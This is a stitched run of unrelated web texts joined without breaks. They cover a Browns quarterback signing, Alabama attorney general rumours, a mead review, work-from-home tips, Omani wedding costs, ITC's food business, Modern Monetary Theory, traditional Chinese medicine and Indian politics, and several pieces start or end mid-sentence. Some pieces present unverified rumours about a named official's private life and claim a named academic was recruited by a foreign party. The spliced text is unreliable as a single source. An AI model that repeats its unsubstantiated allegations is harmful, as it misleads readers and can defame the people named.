$5 million a year, which means the Browns could be counting on him to start if Johnny Manziel or another young quarterback isn't ready. McCown's signing makes it highly unlikely the Browns will re-sign Hoyer, who's gone 10-6 for them over the past two years, including 7-6 this season. Hoyer is set to become a free agent on March 10, and never had the face-to-face meeting he expected to have with general manager Ray Farmer. His agent, Joe Linta, also didn't meet with the Browns at the NFL combine. However, Pettine and Farmer both called Hoyer on Friday to inform him of the move. The difference between McCown and Hoyer is Hoyer has made it clear he wants to start, and that he's established himself as a winning quarterback over the past two seasons. McCown, on the other hand, is more than willing to serve as a mentor to young quarterbacks such as Johnny Manziel and Connor Shaw. When Manziel gets out of rehab, he'll need all the help and support he can get, and McCown will excel in that role, a source told the Northeast Ohio Media Group. "I just want to serve our team and help everybody in that locker room, do my best to help everybody in the locker room be better at their job and they're going to help me, too. It's a two-way street," McCown said in a news release. "I'm just excited about coming in and being a part of a team. "Year 1 was a solid first year for coach Pettine, and to see the vision with what he's got going on is exciting to me. In my room, I want to be able to help those young guys and pass along my knowledge and experiences I've had and help them grow. (I'm) going to compete at the best level I can to help our team get better." McCown, who plans to compete for the starting job as well as mentor the young QBs, said the Browns' offensive line, which features eight-time Pro Bowler Joe Thomas, two-time Pro Bowler Alex Mack and rising star Joel Bitonio, was a determining factor. "As a quarterback, it starts off with the offensive line,'' he said. "You look at the guys they have there, namely, Joe Thomas and Alex Mack, it's a rare opportunity. Between meeting with the coaches and having a good connection with Coach Pettine and the offensive coaches, and those pieces on offense, that's kind of what drove the ship for me." McCown noted the Browns have the components all quarterbacks love. "We're going to be good at running the football and playing defense and being smart with the football at quarterback," McCown said. "Those are the things I know are going to be stressed. Those are the things I'm going to be focused on as we compete.'' McCown has close ties to new offensive coordinator John DeFilippo, who coached him in 2007 in Oakland when he was quarterbacks coach. McCown went 2-7 as a starter that year, with nine touchdowns and 10 interceptions. But the two hit it off and look forward to working together again. "Josh is a high-character, savvy, veteran quarterback that has a lot to offer to our team," Pettine said in the release. "When you hear from people that have been around Josh, they speak of the leadership qualities and the positive impact he has on a locker room. I really enjoyed spending time with him during his visit. He has great passion for playing the quarterback position and wants to show that he can still be successful in this league. "Obviously, he is a quarterback that has been in a number of systems and he has worked with (DeFilippo) so there is some good familiarity between the two. We are excited to have him become part of our team and we look forward to him playing an important role in our offense." McCown's signing won't prevent the Browns from landing another potential starting quarterback in free agency or drafting one of the top-rated rookies such as Jameis Winston or Marcus Mariota. They have the No. 12 and No. 19 picks overall and have said everything is on the table, including trying to trade up to land one of the top prospects. Pettine has also made it clear they're heading into free agency and the draft looking for a starter and not counting on Manziel, who's currently in rehab. Now, they have a quarterback with starting experience on the roster in the event Manziel can't cut it or they don't land a top rookie. "Josh is your consummate professional," Farmer said in a release. "He's known to be a great guy in the locker room and will be great for the quarterback room. He knows how to get an entire offense on the same page and get a team to rally behind him. He has been exposed to a lot of different types of offenses and we think still has the drive and skill set to be a successful quarterback in this league. "We are excited to get him and believe he will help continue to move us in the right direction and help us build the type of team that will bring winning football to Cleveland." In addition to serving the mentor role, McCown will be able to help DeFilippo implement the new offense and serve almost as another coach on the field and in the classroom. McCown is five years older and has started 49 more NFL games than new quarterbacks coach Kevin O'Connell, a former third-round pick of the Patriots who never started a game. McCown, who will be 36 in July, is the older brother of quarterback Luke McCown, the fourth-round pick of the Browns out of Louisiana Tech in 2004 who went 0-4 here as a rookie. McCown, who spent Tuesday and Wednesday visiting the Browns in Cleveland, also talked to the Bears and Jets after getting released by the Bucs Feb. 11 with a year remaining on his two-year, $10 million deal. He went 1-10 in Tampa Bay last season, throwing 11 touchdowns and 14 interceptions. McCown, who was replaced during the season by Mike Glennon but then reclaimed the starting job, earned a 70.5 rating, second-worst in the NFL to Jacksonville rookie Blake Bortles. But he showed he had plenty left in the tank in 2013, when he threw 13 touchdowns and only one interception en route to a 3-2 mark for the Bears. During a three-game stretch late in the season, he threw for at least 348 yards a game and eight touchdowns overall. He finished with a 109.0 rating that season to earn the lucrative deal from the Bucs. A third-round pick of the Cardinals out of Sam Houston State in 2002, McCown spent four seasons in Arizona and then bounced around to Detroit, Oakland, Carolina, Chicago and Tampa Bay. Overall, he's gone 17-32 with 61 touchdowns and 59 interceptions with a 76.1 career rating. He's started 10 games or more in only two of his 12 seasons, going 6-7 in Arizona in 2004 and 1-10 with the Bucs last year.In the federal election last fall, 60 per cent of Albertans voted Conservative. Twelve per cent voted NDP. The provincial NDP were unimpressed. They have continued to govern as if they actually won the election last spring, not that the PCs lost it. Alberta now enjoys a $3-billion carbon tax, which was unmentioned in the NDP election platform and is opposed by two out of three
and his failure to report a gift of luxury box seats from Alabama Power. However, none of the allegations appeared to attract official interest. Last July, however, even more scandalous rumors began circulating, claiming that the religiously conservative and overtly homophobic King had been caught by his wife in bed with a male aide. These rumors were fueled in part by a Birmingham News article, headed "AG King boosts top aides salaries," which reported: "Not receiving raises has not been a problem for another King employee 24-year-old John W. Godwin. Godwin started working in the attorneys general office as an unpaid intern last summer, when he was a senior at Troy University. Shortly after arriving in Kings office, Godwin was put on the payroll at $10 an hour. Over the next nine months, Godwin rapidly ascended the ladder. In July 2007, King appointed him as a special administrative assistant earning $39,456 a year. He completed his degree in broadcast journalism in December, and on March 27 was named to his current title of executive assistant, a job paying $57,504 annually, according to state records. 'J.W. is an exceptional young man who is the chief aide to the attorney general and who is almost indispensable in terms of the many functions he carries out in this office,' [King spokesman Chris] Bence said." For the next several days, rumors of King's impending resignation flew around the Internet. King refused to comment on the story either way and the rumors gradually died down. However, they were reignited in October, when reports that King was preparing to run for re-election as attorney general in 2010 -- rather than for governor, as had been anticipated -- raised suspicions that his political prospects had been been damaged by the scandal. Why is King being investigated now? As news of the federal investigation spread, theories about possible political motivations proliferated. One fact which has attracted notice is that the US Attorney investigating King is Alice Martin, a Bush appointee who was the first US Attorney to bring federal charges against former Alabama Governor Don Siegelman. Martin has expressed hopes of being kept on by the Obama administration, and a diarist at Daily Kos thought it possible that the investigation of King might be a bid for Democratic approval. However, it's also conceivable that this could be Governor Riley's way of throwing King under the bus. When King was first appointed as attorney general in 2004, Alabama political columnist Steve Flowers suggested, "Most observers of the Governor's office and those who have dealt with the Governor come away feeling that Rob and Minda Riley are the powers behind the throne. The consensus is that these two Riley offspring make most of the calls and are the ones that Riley looks to for major decisions. A case in point is the recent appointment of young Troy King as Attorney General. Rob and Minda are said to be responsible for the choice of King." One blogger who reported the rumor of a King homosexual affair last summer even wondered if Riley himself might have initiated the scandal, writing, "Some point the finger at Alabama Governor Bob Riley for starting the rumor. This makes sense seeing as Troy King is a potential gubernatorial candidate." Get Raw exclusives as they break -- Email & mobile Email - Never spam:Mead: you’ve probably never heard of it, never tried it, or never think about it. It’s fermented honey that turns into a strong, sweet wine, and while it’s rarely on bar menus or in liquor cabinets, Melovino Meadery in Vauxhall is aiming to change all of that. Last weekend I went to a tour and tasting at Melovino, which is tucked behind the Staples and Walgreens at the Millburn Village Mall, and was surprised to find that mead was something I wanted to hear about, try, and think about more. A little background: mead is one of the oldest alcoholic beverages in the world, with evidence that people were tipping it back 8,000 years or so ago. The core ingredients are honey, water, and yeast—though you can get fancier about it, and the folks at Melovino do. But they had to get fancy about bringing mead to NJ at all. Melovino claims to be the first and only meadery in Jersey. They know this because when they approached the Division of Alcoholic Beverage Control for a license to make and sell mead in the state…no such thing existed. Meadmaker Sergio Moutela had to go to the ABC offices and make an in-person presentation to convince the agency to create and issue the license. I’m guessing they let the ABC folks have a few sips, too, because who wouldn’t issue a license to have more of this stuff in NJ? Which brings me to the mead itself. It’s good! And especially the basic meads—Melovino’s Swinger and Essence blends—have a honey bouquet and sweet, smooth taste and feel. It’s somewhere between a riesling and dessert wine, which the meadmakers say will pair well with mains and desserts. Melovino is also moving beyond the basics: they have meads that are oaked in barrels, blended with fruit juices, and (currently fermenting but coming in March) meads made with hot peppers that promise a drinkable blend of heat and sweet that got the attention of everyone in the room. “Our main focus at the meadery is making mead that our fans will love, and that we would love to drink too,” the Melovino folks say. “That means nothing but quality ingredients, mastered recipes, and a fully hands-on approach in our meadmaking process.” Melovino offers regular meadery tours and tastings, on-site retail of all the varieties they make, and has an MV Club for discounts on larger orders. The tour is entertaining, the business is thoroughly local, and the meads are tasty and reasonably priced—so let us all drink mead! Photos: Ted Axelrod, Axelrod PhotographyOne of the biggest challenges at-home workers face is staying productive and on task. While working from home sounds like it would be an ideal situation, the truth is that there are many additional distractions at home that you probably didn’t have in an office environment. There’s housework that must be completed, friends and relatives who don’t understand you still do actually work, television, pets and children. There are a few things you can focus on that will allow you to be more productive at home while still enjoying the freedom of working on a more flexible schedule. Insist on Interruption-Free Work Time Harris Interactive conducted a poll for Ask.com which queried more than 2,000 professionals about what makes an optimally productive work environment. It found that one of the top things professionals say helps them be more productive is to have uninterrupted work time to really focus a project. The problem? You may or may not have a separate office in your home. Your family may not understand that you have to sit and work without them talking to you or coming to you for minor tasks. If you have a separate room you can use to set up a work space, this is ideal as you can shut the door and put a “do not interrupt” sign on it. If you do not, find a corner or quiet area of your home you can designate as “do not interrupt” space. Insist on work time as interruption-free time. You may need to constantly remind family and friends the first few weeks. Simply say, “Is this an emergency?” If it is not, then say, “I’m sorry, but I’m in the middle of work. I will call you back after five when I wrap up for the day.” If you still can’t gain this interruption-free time, consider going to a local coffee shop, the library or even renting office space a couple of times a week so you can focus on your work without any interruption. About 63 percent of those surveyed in the Harris Poll preferred a personal work space without interruptions. This environment translates well at home, too. Take Frequent Breaks Have you ever sat working on a project for a long period of time and suddenly realize you’ve zoned out and aren’t focusing on the work? This is the time frame when most mistakes are made and you feel burned out. An article in The Atlantic explores a recent study completed by Hiroshima University. The study found that workers are most productive if they work for about 52 minutes, take a break for 17 minutes and then resume for another 52 minutes. Repeating this pattern throughout the day allows you to maintain focus. Another benefit? You can use that 17 minutes to complete household tasks that have been calling your name, get in a bit of exercise or grab something to eat. Since exercise can help you regain focus, you may want to bike around the block to get a bit of fresh air and refocus your energy. Ignore Your Email Inbox According to The Guardian, humans are hard-wired to procrastinate. Apparently there are two different responses from the brain on how to handle tasks that need completed. The one response is reserved for survival, while the other is more deliberate. The survival mode takes precedence, while things like completing that blog post or creating a quote for a potential client takes second place. The study suggests that one way humans waste a lot of time is with technology and that includes checking your email multiple times a day. A study conducted by Xobni discovered that Americans are obsessed with email. 72 percent check emails during downtime, including when they’re supposed to be relaxing or sleeping. This constant distraction leads to lack of focus. Make it a rule to only check your email at set times, such as first thing in the morning, around noon and again before calling it a day. One exception is if you are expecting an important email from a client during a specific time frame. There are many distractions clamoring to steal your time when you work from home. Having a plan in place for how you’ll deal with those distractions and maintain focus will go a long way toward increasing your productivity and helping you succeed.CBS dropped yet another promo today for their superhero collaboration Supergirl and The Flash! The promo teases a race between the two superheroes, with both of them getting set to race for the title of Fastest’s Person Alive! The two heroes will collide on episode 18 of Supergirl entitled ‘World’s Finest’. The official plot synopsis goes as follows: “Kara gains a new ally when the lightning-fast superhero The Flash (Grant Gustin) suddenly appears from an alternate universe and helps Kara battle Siobhan, aka Silver Banshee, and Livewire in exchange for her help in finding a way to return him home.” Check out both promos below, as well as plenty of behind the scenes photos which not only show our heroes but offer our very first look at Banshee as well!Maghboor: A Little Light Rant Against Oman’s Dowry System Only Dhofaris would understand what this post is about just by reading the title. A slight warning, this post is a mini-rant, not an objective analysis of social customs. In Dhofar, the word ‘Maghboor’ مغبور or ‘Maghbair’ مغبير is a term that every man has to live with… every month from the moment his friends start to get married till the day he dies. As many of you know from my previous posts about the south of Oman, Dhofari weddings are quite an event. A typical scenario will involve a young man telling his mother he wants to get married. She will turn on her ‘bride radar’ and get to work (along with all the aunts and sisters) to find a suitable bride. She will start visiting relatives with eligible daughters. She will attend more and more weddings of distant relatives just to see how the unmarried girls look like in dresses. Naturally, unmarried girls spend ages preparing for weddings anyway in order to catch the attention of future mothers-in-law. Once the bride has been chosen, the mother and aunts will make contact with the prospective bride’s mother and aunts. The women will work it all out between themselves and then the men will finally be informed. The groom’s father or uncle (or the groom himself) will call the prospective bride’s father to ask for his daughter’s hand in marriage. The father will graciously tell him that he has to ask his daughter. Both parties pretend the women haven’t figured out all the logistics beforehand. Father asks daughter, she agrees, a dowry and wedding date is set, then the son goes back to his father to figure out expenses. Now … this brings us to the Maghboor part. Assuming the girl’s father asked for a dowry of OMR 6000, and it will cost the son perhaps OMR 10,000 to set up his ‘room’ and fix some things in the house(decoration, fancy hideous furniture, perfume cupboard stocked with the world’s most expensive bukhoor, etc, etc). Add on the actual wedding expenses which usually involve renting a hotel ballroom for 400 women … that’s around OMR 4000. Then the men’s wedding involves slaughtering a handful of innocent cows, drinks, halwa, coffee, tent, rice …. (meh… another OMR 6000). Do the math. It’s about 26,000-30,000 Omani Rials. That’s what it costs to build a small house, buy three cars, or four bachelor degrees at Dhofar University. All so you can live in a little bedroom with a girl you don’t really know. So how do they fund this? Well, …. that’s where the Maghboor comes in. On the actual men’s wedding day (often a few days before the women’s wedding when the bride actually gets to see his dolled up wife for the first time), men from far and wide will come to the tent to congratulate the groom and pay the ‘maghboor’. Several hundred (or thousand) men will come to the men’s tent and after greeting the groom and his family will head to the table where a man (usually a relative) sits with a big blue notebook and a box. A guest will pay anything from OMR 10 to two or three hundred rials, and the book-keeper will put the man’s name down and the amount next to his name. By the end of the day, the groom sometimes ends up with anything from OMR 5000 to 20,000 cash paid by all his relatives and friends. That ends up covering most of the wedding costs. Distant relatives will pay around 20 rials. Close relatives will pay 100 each usually. Awesome system, right? Maybe not. Sometimes I think it’s a great social investment… but then again, you keep that darned blue book in your home forever and ever. Whenever any of the people who paid towards your wedding get married (or their sons or cousins or whoever), you have to go to their weddings and pay the same amount they paid towards you or more. It’s all fine and dandy until you end up having to attend weddings every single month. It ends up being like a life-long loan towards society. A friend of mine had to go to SIX WEDDINGS last week. He spent 400 rials in one day paying towards weddings. He’s only 28. Is it fair? Is it worth it? Even stranger, some town tribes do the same with women. Women hand money over to the mothers of the groom at the women’s wedding. All this money being passed around each month. Everyone in debt. Everyone struggling to keep up with these traditions. But stop for a minute and think about our friend the groom who spent all that money but all he has left is a little bedroom with a set of furniture and hideous décor (and a wife on the side). No everyone gets enough Maghboor to cover a large chunk of the weddings expenses. Someone I know spent 35,000 rials on his marriage but only got OMR 8000 out of the men on the wedding day. Is this system logical anymore? If I were a man spending 26,000 on a wedding, I’d invest it in something that will last (like a home….. or a honeymoon?). Oh, I forgot the honeymoon. If a groom decides to take his wife to the usual spots (Thailand or Malaysia) then that adds even more expenses. All the girl has to do is receive her dowry, spend it on things she doesn’t need to impress people she doesn’t even know. Thobes, abayas, gold, perfueme, bukhoor, etc. She then has to spend months oiling and dolling herself up for her ‘husband’. That’s all she does. Somewhere in there is a lot of unfairness and a lot of illogical expectations. If everyone in Salalah were to secretly vote on this, I’m willing to bet they’re all ready to ditch these traditions. Times are hard, life is more expensive, and its just not feasible anymore to keep up with these traditions. Men spend an average of anything from 100 to 1000 a month on weddings. Surely that money could go somewhere better? Savings perhaps? The reason I’m ranting is because I was made to pay towards a wedding of some distant relative because it was ‘duty’. I’ve never even met this relative and never even went to the wedding. Your thoughts?Hillary Clinton rallies the faithful at the University of North Carolina at Greensboro, North Carolina Imagine a world where Donald Trump absolutely obliterates Republican voter turnout this November. Then take a look at North Carolina. You can go read Bill Busa’s entire analysis of the North Carolina early vote, but that graph says everything you really need to know: only HALF as many Republican voters have voted early right now, compared to this point four years ago. Democrats and independents are slightly up, but as for Republicans, the bottom has fallen out. Maybe it’s Donald Trump’s assholeness, or Donald Trump’s lack of a field operation, or maybe hating on the LGBTQ community isn’t the big base-mobilizer the GOP thought it would be. Or maybe it’s all of the above. Yeah, it’s probably that, all of the above. Republicans are panicking as their numbers crater across the board. Hopefully, that chart above is a national harbinger, and not just a localized phenomenon. North Carolina is not only a swing state for the presidential race. With your help, we can win a key Senate race this year. Click here to volunteer on the ground in North Carolina for Deborah Ross.MUMBAI (Reuters) - India’s biggest cigarette maker is going on a health kick. ITC Ltd sells 80 percent of the cigarettes in the world’s second most populous country where 275 million people use tobacco products. A man talks on his mobile phone as he walks past an ITC office building in Kolkata September 4, 2012. REUTERS/Rupak De Chowdhuri But as India follows the rest of the world in adopting anti-smoking regulations, the company’s core tobacco business is getting squeezed and it is venturing into dairy products, drinks and perhaps even healthy breakfast foods to try to expand its money-losing consumer products business. “Indians are turning health-conscious in their food choices, so health and nutrition will be a very strong focus area for us in the coming years,” Chitranjan Dar, chief executive of ITC Foods, told Reuters in a phone interview. ITC, India’s fifth most valuable company with a market capitalisation of $38 billion, already makes cookies, crackers and potato chips, so expanding into dairy and breakfast foods is not that big of a stretch. But healthy food marks a sharp turn for a company best known for cigarettes. Although ITC got into the food business a decade ago, cigarettes account for half the company’s revenue and even its initials are a throwback to its century-old roots when it was known as Imperial Tobacco. The company is 30.8 percent owned by British American Tobacco. (Graphic on ITC's revenues: link.reuters.com/suw42t) Building market share in food and consumer products may be difficult. With the exception of packaged flour, where ITC holds a leading position, the company has not won more than 15 percent of the market for any product category in which it competes. It has spent 45 billion rupees building up its food and consumer product segments over the past 10 years, according to analysts. “No other consumer company has invested such sums of money without creating a relevant share in any category,” said Nikhil Vora, managing director at Mumbai-based IDFC Securities. Vora’s firm downgraded the stock to underperform from outperform after Australia barred the use of logos on cigarette packs on August 15, sparking speculation that India’s regulators would follow. Investors initially knocked $1.3 billion from ITC’s market value after Australia’s move, although the stock has since recovered, in part because most smokers in India buy cigarettes in single sticks, not packs. An investor favourite for its defensive characteristics, ITC shares have risen 32 percent this year, outpacing the 13 percent rise in the index.BSESN. ITC makes Sunfeast biscuits, Bingo snacks and the Fiama Di Wills range of soaps and shampoos, competing with the likes of Hindustan UnileverLtd (HLL.NS), Procter & Gamble Co (PG.N), Godrej Consumer Products Ltd (GOCP.NS) and Dabur India Ltd (DABU.NS) in a price-sensitive market worth $13 billion and growing at 15-20 percent a year. Its consumer goods sales rose 24 percent to 55.3 billion rupees in the year to March, accounting for 22 percent of total ITC revenue, although the business was a drag on overall profit, losing 1.96 billion rupees before interest and tax. It aims to triple revenue from consumer goods over the next 5 to 7 years. “What we have achieved is not bad for a business that is a decade old in this space,” ITC’s Dar said, adding that parts of its consumer goods business were “profit positive.” CIGARETTES AND FOOD ITC is not the first company to try to mix cigarettes and food. Tobacco giant Altria Group Inc (MO.N), formerly known as Philip Morris, bought Kraft Foods in 1988, although it later spun off the food company and has returned its focus to tobacco. Tighter regulations add urgency to ITC’s food drive. India has followed global trends in tobacco restrictions, banning smoking in public places in 2008 and a year later requiring graphic health warnings on cigarette packages. It has steadily raised taxes on tobacco products, most recently by 20 percent. Analysts said that contributed to an unexpected 3 percent drop in ITC’s cigarette volume sales in the June quarter. Some Indian states are also raising taxes. Uttar Pradesh, the most populous, in July raised the value-added tax on cigarettes to 50 percent from 17.5 percent, prompting speculation that others will hike taxes too. ITC has set up 7 new plants this year to support its consumer products expansion, and plans to test new categories including coffee, tea and dairy products that can be stored at room temperature. “Almost all the categories they operate in this space already have large established players, so clawing away market share from them won’t be easy,” said Pinakiranjan Mishra a partner with Ernst and Young who focuses on consumer products and retail. “Their distribution strength can make a difference but their aim to triple growth in a few years still looks very tough,” he said.President Obama's biggest problem in the Senate is obviously its new Republican majority, but opposition from the left wing of the Democratic caucus appears to be growing too. Most prominently, Sen. Elizabeth Warren (D-MA) has clashed with the White House on a key Treasury Department position and the CRomnibus spending package. But new budget committee ranking member Sen. Bernie Sanders (I-VT) is poised to break dramatically from traditional Democratic views on budgeting, from Obama to Clinton to Walter Mondale and beyond. His big move: naming University of Missouri - Kansas City professor Stephanie Kelton as his chief economist. Kelton is not exactly a household name, but to those who follow economic policy debates closely, tapping her is a dramatic sign. For years, the main disagreement between Democratic and Republican budget negotiators was about how to balance the budget — what to cut, what to tax, how fast to implement it — but not whether to balance it. Even most liberal economists agree that, in the medium-run, it's better to have less government debt rather than more. Kelton denies that premise. She thinks that, in many cases, government surpluses are actively destructive and balancing the budget is very dangerous. For example, Kelton thinks the Clinton surpluses are nothing to brag about and they actually inflicted economic damage lasting over a decade. A drastic theoretical break Usually, when Democrats hire economists, they hire nice, respectable Keynesians, who use mainstream economic models and often agree with conservative economists on a lot of theoretical matters while drawing different policy conclusions from them. For example, Greg Mankiw, who served as George W. Bush's top economic advisor, and Christina Romer, who served as Obama's, were both influential in developing New Keynesianism, a macroeconomic theory that emerged in the 1980s and arguably dominates the field today. What really set Romer and Mankiw apart was policy, not economic theory. Kelton disagrees with Romer and Mankiw on economic theory. In fact, she disagrees with just about every economist Bush or Obama ever hired about economic theory. Kelton is among the most influential advocates of Modern Monetary Theory (MMT), a heterodox left-leaning movement within economics that rejects New Keynesianism and other mainstream macroeconomic theories. MMT emphasizes the fact that countries that print their own money can never really "run out of money." They can just print more. The reason we have taxes, then, is not to pay for stuff, but to keep people using the government's preferred currency rather than, say, Bitcoin. In some rare cases, consumer demand gets too high, so sellers raise prices and inflation ensues. Then, you need to raise taxes to cool the economy down. But the theory holds that this eventuality is pretty rare. James Galbraith, another MMT-influenced economist, once told me that the last time it happened was in World War I. The main takeaway from this is that you really don't need to balance the budget over any time horizon, and attempts to do so will hurt the economy. That's what Kelton argues happened after the Clinton surpluses of the late 1990s / early 2000s. Any dollar of government surplus must show up as private debt, she reasons. And the private sectors just can't run up debt like that indefinitely. "Eventually, something will give," Kelton once wrote to Business Insider. "And when it does, the private sector will retrench, the economy will contract, and the government's budget will move back into deficit." A minority view Plenty of people criticize Obama's economic policies (or Clinton's) from the left, but this is very much a minority view in economics — even among liberals. Paul Krugman, for example, has argued that MMT gets this all wrong. You still need people to buy government bonds, and if the interest rates on those get too high, then paying for it all might be hard to do without triggering runaway inflation. "Once we’re no longer in a liquidity trap, running large deficits without access to bond markets is a recipe for very high inflation, perhaps even hyperinflation," Krugman writes. Joe Gagnon, an economist at the Peterson Institute, also notes that Australia and Canada ran surpluses for years without suffering economically as a consequence. (You can see MMT responses to these points here and here.) Before recently, mainstream economists and policymakers could comfortably ignore MMT. Galbraith told me that when, on a panel for an April 2000 event at the White House, he argued that the US's new budget surplus would harm the economy, the hundreds of economists in attendance laughed in his face. That's all changed. The financial crisis created a huge appetite for new economic thinking, and MMT helped meet it. Now, people like Krugman are expected to at least grapple with its claims. Kelton's elevation to the budget committee is another important step in mainstreaming the theory, and making it safe for left-wing Democrats to embrace. If you want to learn more about MMT, I wrote a long profile of the movement back in 2012 that explains the basics. But theory aside, in concrete political terms this is a sign that Sanders is likely to reject the consensus-oriented approach of his predecessor, Patty Murray, and produce big spending budget frameworks that many members of his own caucus — as well as the White House economic team — would reject. That's going to be a headache for an administration that would like to count on a unified group of Democrats as it heads into inevitable battles with the Republicans.766 Shares Share Share It’s time for the American physician to stand up. We will no longer bend to the tyranny of bureaucracy, the venom of litigation or the naivete of legislation. For we have spent many a night sweating on the phone as our dear administrators slept comfortably in their beds stuffed with hundred dollar bills. Our experience standing in the line of fire dwarfs that of any attorney questioned by his client’s peers. And we have tended to more constituents personally than any verbose and hyperbolic politician. Yet the doom and gloom of our current health care system is being flung belligerently at our feet. The American physician is beaten, battered and toiling in a cocoon of self-hatred. Caught in a tangled web that binds, our detractors count on our sacred healing oath to imprison us in a system that becomes more constrictive by the day. We are too proud to stand down. We are too dedicated to our patients to bow as the chains are pulled tighter. We have been judged by the outlying ice that melts at our extremes, and denied the strength of our inner core. We are solid. We are dependable. You will legislate, you will regulate, you will under compensate. And we will nod our heads willingly. But when you attack our pride, our character, you cross the line. We have spent every waking moment since childhood planning for this. We have studied more hours than most can conceive, We have worked while others rested and than worked some more. We have been placed in the most difficult of situations. We have had to question God regularly. We question ourselves. We stand tall and proud as American physicians. We will not let you cast us as villains. Jordan Grumet is an internal medicine physician and founder, CrisisMD. He blogs at In My Humble Opinion. Image credit: Shutterstock.comLike us on our offical Facebook page: https://www.facebook.com/InkOfKnowledgeOfficial/ Like – Subscribe – Comment – Share For more islamic videos make sure to Subscribe. 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More info: http://deenzone.com/video-sharing-terms/Is the Chinese Communist party currently exerting an influence on the Australian healthcare system? If so, how did they manage to get a foot in the door? Let’s have a look! A recent investigation by the award winning investigative journalism program, ‘Four Corners’, revealed that Chinese billionaires, with links to the Chinese communist party, have made substantial donations to various Australian politicians. Donations usually come with strings attached, and hence, there is some anxiety that this could have an impact on the Australian autonomy and international relations with historic partners (similar to Russia’s meddling with the US elections). The program also featured China’s influence at various academic campuses across Australia. This prompted me to conduct my own investigation focusing on China’s influence, via these Chinese billionaires, on the Australian healthcare system. It is well known that China wants to internationalise their ancient, ineffective and dangerous traditional Chinese medicine (TCM). Australia could have, for example, decided to play a leading role and aid China in modernising their healthcare system in exchange for improved free trade arrangements – or anything that could have been mutually beneficial. Unfortunately, a couple of Australian academics decided otherwise and made it extremely easy for China to obtain a strong foothold, with their TCM, in the Australian healthcare system. This article will detail specifics regarding how these academics managed to get the job done, whilst a second article will describe how specific Australian politicians made all of this a walk in the park for China (all supporting documentation is available on request). Please skip the next section if you understand TCM, but for those who don’t, below is some background information. What is TCM and why is it so dangerous? Imagine a healthcare system where no disease can be diagnosed and where the treatments on offer are mainly ineffective, while some are even outright dangerous. This is TCM in a nutshell; misdiagnosis by default and ineffective/dangerous treatments. It is no wonder that many scientists are extremely concerned about the promotion and legitimisation, especially via universities, of TCM in Australia and around the world. A recent article in the Economist sums it up well; “State-sponsored quackery. China is ramping up its promotion of its ancient medical arts. That is dangerous for humans as well as rhinos” To understand the issue at hand, here is one example; The TCM nature of rhino horn is “salty, sour and cold” and hence its actions are to “clear heat, subdue Yang and cool blood, relieves fearfulness, detoxifying.” Rhino horn is therefore a treatment for “high fever, sun stroke, trauma, mania, convulsion, sore throat, epilepsy, febrile disease, infectious disease, macula, bad skin conditions, subcutaneous bleeding.” (rhino horn is in fact being promoted as medicine at Western Sydney University, but I believe for dementia. One of their collaborators was even sent to prison for importing rhino horn into Australia). Some of these above mentioned conditions can be life-threatening, if left untreated. Because everybody knows that rhino horn is not an effective medicine for anything, prescribing and using it as a medicine, is equivalent to providing no treatment for these conditions. And this is indeed why TCM is dangerous for people, not even to speak about the needless slaughter of rhinos. In TCM, disease is seen as an imbalance of a non-existent life-force (Chi) that flows through non-existent meridians, and in this pre-scientific world, bacteria, viruses, etc. do not exist. By slapping yourself, or inserting needles (acupuncture), or taking herbs, or animal matter, your Chi will be ‘restored’ and you will be ‘cured’ of whatever ailment you might suffer from. Because TCM is a believe-based system, every treatment (and there are thousands) is believed to be effective for its intended purpose. This becomes very dangerous when this believe is so strong that they will advise patients to stop their conventional treatments, and rely solely on TCM. That this danger is real, was recently illustrated by the tragic death of a 6yo boy suffering from type-1 diabetes. The fact that some herbs (very few) do contain beneficial compounds is, in effect, negated by the fact that TCM practitioners cannot correctly diagnose any medical condition. To try and ‘solve’ this problem, they will therefore prescribe a combination of up to 20 different herbs, because by doing this, it improves their chances of getting lucky! Most TCM proponents are fully aware of these problems, and therefore their current approach is to ‘integrate’ all of TCM with conventional diagnostics and treatments. They do this in order to continue to make money but also to promote TCM as ‘effective’ by piggy-backing on the successes of evidence-based modern healthcare. So, yes, it is all about money with China trying to expand its $170 billion TCM industry by legitimising it in other countries. In Australia it turned out to be a very easy task, just ask the four blokes in the photo below. They have been warned, repeatedly, about the dangers of TCM, but apparently the big motivator, money, speaks louder than words. So, this is where the Australian academics comes into play (more info regarding TCM can be found here and here). The Australian academics One of the key players in Australia is Prof Alan Bensoussan, Director of the National Institute of Complementary Medicine (NICM), Western Sydney University (WSU). He completed a degree in physics and then, for some unknown reason, decided to continue with TCM. He studied at the Nanjing University of TCM in 1985/86, and this is where he was ‘converted’ or ‘recruited’ by the Chinese communist party. And because Alan, like most people, cannot admit to have made a mistake, decided to continue down this path of pseudoscience. Once you are trapped, you are in it for life. And not only that, he became one of the biggest lobbyists of TCM in Australia. This is, of course, one way of ignoring your mistakes – you stubbornly continue to tell yourself, and everybody else, that you are right, even in the face of the most compelling scientific evidence! For Alan, TCM is an effective and safe healthcare system! Unfortunately, after 30 years of trying, he is not able to show that science was wrong about TCM, and hence, he still does not have anything to show for it (without cheating and misleading, that is). But whatever happened, he became one of the biggest drivers of TCM in Australia. Since his return from China he has worked tirelessly to legitimise TCM with his main approach being; that the safety of patients will be assured by regulating TCM, and, that TCM should be ‘integrated’ within conventional healthcare. The fact that TCM is mainly ineffective and by regulating fake medicine, it can only lead to well-regulated fake medicine, didn’t bother him – it simply doesn’t fit his delusion. Intense lobbying for many years resulted in TCM becoming a registered healthcare profession in Victoria in 2000, and Australia wide in 2012. Being ‘registered’, in this case, simply means that you must have a ‘real’ degree in fake medicine before you can practice fake medicine – how
wrote about that situation in a brilliant manner explaining democracy and the Constitution: “ The founders did not want an efficient government. They feared tyranny and created a regime that made governance difficult. Power was diffused among local, state and federal governments, each with their own rights and privileges. Even the legislative branch was divided into two houses. It was a government created to do little, and what little it could do was meant to be done slowly. The founders' fear was simple: Humans are by nature self-serving and prone to corruption. Thus the first purpose of the regime was to pit those who wished to govern against one other in order to thwart their designs. Except for times of emergency or of overwhelming consensus, the founders liked what we today call gridlock ”. That’s the reason power shouldn’t be given to corrupt persons and parties. Individuals with excessive narcissim, megalomania and lust for excessive power are dangerous. Which is why Delhi shouldn’t be given full state-hood, especially with AK as the non-state CM and self-confessed anarchist. Exactly what AK claims in this tweet while his own party has dozens of corrupt members and, of course, he has initiated imaginary proceedings against Sheila Dikshit as he promised: Just imagine giving an AK-47 to a monkey and imagine the consequences. Since the Agusta scam got revived AK has been busy throwing mud at Modi with some bogus degree issue even as 21 of his own MLAs are embroiled in some controversy. There are other MLAs in his barn that are corrupt and have possessed fake certificates and degrees. And because they too hate Modi, the Agusta-Patrakars (a title for the gang in media that was bribed by the company to cover-up the scam) also 